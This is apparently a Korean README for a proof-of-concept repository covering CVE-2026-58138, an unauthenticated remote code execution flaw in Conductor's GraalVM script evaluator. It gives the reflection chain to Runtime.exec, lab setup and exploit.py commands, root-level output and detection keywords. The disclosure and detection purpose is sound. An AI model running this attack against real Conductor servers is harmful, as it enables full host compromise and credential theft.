CVE-2026-58138 — Conductor (3.21.21..<3.30.2) INLINE GraalVM 평가기(HostAccess.ALL)를 통한 인증되지 않은 RCE. 실습 + PoC, e2e 검증 (root).
Conductor (OSS / Orkes)
3.21.21…3.30.2미만은 사용자가 제공한 JavaScript를INLINE(및LAMBDA/DO_WHILE/SWITCH) 태스크에서 GraalVM 컨텍스트로 평가하며, 전체 호스트 접근 (HostAccess.ALL)이 활성화되어 있습니다. 스크립트는java.lang.Runtime까지 리플렉션하여 OS 명령을 실행합니다. 커뮤니티 API에는 기본적으로 인증이 없으므로, 이러한 태스크가 포함된 워크플로를 제출하는 것은 인증되지 않은 원격 코드 실행입니다.
| CVE | CVE-2026-58138 |
| 권고 | vulncheck — Orkes Conductor 인증되지 않은 RCE via GraalVM 스크립트 평가기 |
| 영향받는 버전 | Conductor 3.21.21 … 3.30.2 미만 |
| 수정 버전 | 3.30.2 (커밋 87a7d96, c691e35) |
| 취약점 분류 | CWE-94 (코드 삽입) — GraalVM 폴리글롯 샌드박스가 적용되지 않음 |
| CVSS | 9.8 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| 인증 필요 | 없음 (커뮤니티 API는 기본적으로 인증되지 않음) |
| 상태 | 확인됨 — conductoross/conductor:3.22.3에서 root로 재현됨 |
버전 참고 (꼭 읽어주세요). 취약 범위 내에서 평가기 구성이 다릅니다: ~
3.29.x까지의 버전 (이 실습은3.22.3사용)은 단순allowHostAccess(HostAccess.ALL)로 컨텍스트를 구축합니다 — 이는 CVE가 설명하는 샌드박스 없는 구성이며, 이 PoC가 직접 악용하는 대상입니다.3.30.0/3.30.1라인은 부분적인denyAccess(...)블록리스트를 추가했습니다 (리플렉션 차단); 완전한 수정 (allowHostClassLoading(false)+ 엔진 강화)은 **3.30.2**에서만 적용됩니다. 이 PoC는 순수-HostAccess.ALL구성을 대상으로 하며,3.30.1블록리스트를 우회한다고 주장하지 않습니다.
core/.../events/ScriptEvaluator.java (≤ 3.29.x / 3.22.3):
return Context.newBuilder("js")
.allowHostAccess(HostAccess.ALL) // 전체 호스트 상호 운용 -> 샌드박스 없음
.build();
HostAccess.ALL은 스크립트가 Java 호스트 객체의 모든 메서드/필드를 호출할 수 있게 합니다.
INLINE 태스크는 입력을 실제 Java 객체인 $로 바인딩하므로, 스크립트는 다음과 같이 피벗할 수 있습니다:
$.getClass().getClass() → java.lang.Class → Class.forName("java.lang.Runtime")
→ Runtime.getRuntime().exec(...). Python 평가기도 동일합니다
(Context.newBuilder("python").allowAllAccess(true)).
expression을 포함한 INLINE 태스크가 있는 워크플로를 등록합니다
(POST /api/metadata/workflow, 인증 없음).POST /api/workflow/{name}, 인증 없음).Runtime.exec가 명령을 실행하며
PoC는 해당 표준 출력을 태스크 결과로 반환합니다.docker compose -f lab/docker-compose.yml up -d # conductoross/conductor:3.22.3 (취약 범위 내)
# 올인원 서버가 부팅될 때까지 ~60초 대기
python3 exploit.py http://127.0.0.1:8080 -c "id; hostname"
관찰 결과:
[*] registering workflow with a malicious INLINE (javascript) task ... (no auth)
[*] started workflow id=...; reading INLINE task output ...
[+] UNAUTHENTICATED RCE CONFIRMED - command output from the Conductor host:
uid=0(root) gid=0(root) groups=0(root)
vbox
Linux 6.18.12+kali-amd64
uid=0(root)는 Conductor 프로세스 사용자이며, 출력은 실시간 id/uname 상태입니다 — 실제 실행이지 에코가 아닙니다.
exploit.py는 Python 표준 라이브러리만 사용합니다.
Conductor API에 접근 가능한 누구든 오케스트레이터 호스트에서 임의의 OS 명령을 (여기서는 root로) 실행할 수 있습니다 — 이는 워크플로 엔진, 그 영속성/큐, 그리고 워크플로와 저장된 자격 증명이 접촉하는 모든 시스템의 완전한 손상을 의미합니다.
INLINE/LAMBDA/DO_WHILE/SWITCH 태스크의 expression 문자열이
getClass, forName, Runtime, exec, ProcessBuilder, 또는 java. 리플렉션을
참조하는 워크플로 정의와 셸을 생성하는 Conductor 프로세스를 플래그합니다.
리플렉션 체인, 버전별 평가기 구성 및 패치에 대해서는 ANALYSIS.md를 참조하세요.